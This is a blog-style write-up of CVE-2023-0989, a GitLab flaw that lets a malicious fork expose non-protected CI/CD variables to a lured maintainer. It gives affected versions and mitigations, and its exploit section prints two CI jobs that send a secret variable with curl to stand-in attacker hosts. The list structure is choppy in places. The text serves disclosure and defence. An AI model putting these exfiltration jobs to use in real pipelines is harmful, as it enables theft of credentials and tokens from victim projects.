CVE-2023-0989 is one of those vulnerabilities that reminds us how even trusted platforms like GitLab can have sneaky leaks. First disclosed in 2023, this issue affects GitLab Community Edition (CE) and Enterprise Edition (EE) from version 13.11 and up—unless you’re patched to at least 16.2.8, 16.3.5, or 16.4.1. If you’re running an older GitLab, read on. We'll explore what went wrong, how attackers can exploit it, and how you can stay safe.

What is the Problem?

GitLab CI/CD helps automate project building, testing, and deployment. You often keep sensitive variables—API keys, tokens, passwords—as CI/CD variables. Some variables are "protected" (meant only for protected branches or tags), while others are not.

CVE-2023-0989 allows attackers to steal _non-protected_ CI/CD variables by luring a project maintainer (or someone with access) into visiting a malicious fork. In essence, if you visit a fork that has a rigged configuration, your browser could trigger CI/CD jobs that expose secrets.

16.4 below 16.4.1

If you’re not patched, your CI/CD variables could be leaking.

The attacker forks your repository.

2. They set up a malicious .gitlab-ci.yml configuration in their fork to extract CI/CD variables.

You’re tricked into visiting the fork’s Pipelines or Merge Requests.

4. When you do, the fork runs pipelines using jobs that print out, send, or otherwise leak your non-protected variables.

The attacker collects the secrets from pipeline logs or by receiving them in an external system.

That’s basically it. The heart of the issue is: non-protected variables are exposed in forks when a project member with privileges interacts with the fork.

GitLab advisory:

GitLab Security Release: 16.2.8, 16.3.5, and 16.4.1 released

CVE details:

NVD - CVE-2023-0989

HackerOne report:

gitlabhq disclosure on HackerOne


## The Exploit: Stealing Secrets through CI/CD

The attacker crafts a .gitlab-ci.yml file in their fork

stages:
  - leak

leak_env_vars:
  stage: leak
  script:
    - echo "MY_SECRET is $MY_SECRET" # MY_SECRET is a non-protected group or project CI variable
    - curl -d "secret=$MY_SECRET" https://attacker.site/collect

2. Tricking the victim

The attacker sends a Merge Request, perhaps by saying, “Hey, I added a useful feature!” or “Can you review my code?” The maintainer (victim) visits the forked project’s pipeline page or accepts the Merge Request. This triggers a pipeline. Since variables are available in the forked pipeline under these circumstances, the variable’s value is now exposed.

3. Attacker collects your secrets

The curl command in the malicious job sends your sensitive variable to the attacker’s server. Sometimes, even a simple echo would work if pipeline logs are public or if the attacker has access to logs via another vector.

Step 2: Add this job in .gitlab-ci.yml

leak_secret:
  script:
    - curl -X POST -d "token=$MY_SECRET_TOKEN" https://attacker.example.com/leak

Why does this happen?

This issue is rooted in how GitLab handled *non-protected* CI/CD variables in pipelines from forks. When certain project members trigger pipelines for Merge Requests or review, the CI/CD variables become visible to jobs in the fork—even if that fork is set up maliciously.

Limit sensitive variables to "protected" as much as possible.

- Lock down who can run pipelines from forks. GitLab has settings like Pipelines must succeed or Merge only after pipeline succeeds—review these options in your project.

Final Thoughts

CVE-2023-0989 is an excellent example of supply-chain risk and how even small configuration lapses can lead to big leaks, especially for organizations relying on automation and CI/CD systems. The fix is out, so upgrade and review your variable policies. Don’t let your secrets slip through a fork.

References

- GitLab’s Official Security Release
- CVE-2023-0989 on NIST
- GitLab’s HackerOne Report

*Stay secure, review your forks, and don’t trust unfamiliar Merge Requests without a double-check!*

Timeline

Published on: 09/29/2023 07:15:00 UTC
Last modified on: 10/02/2023 19:52:00 UTC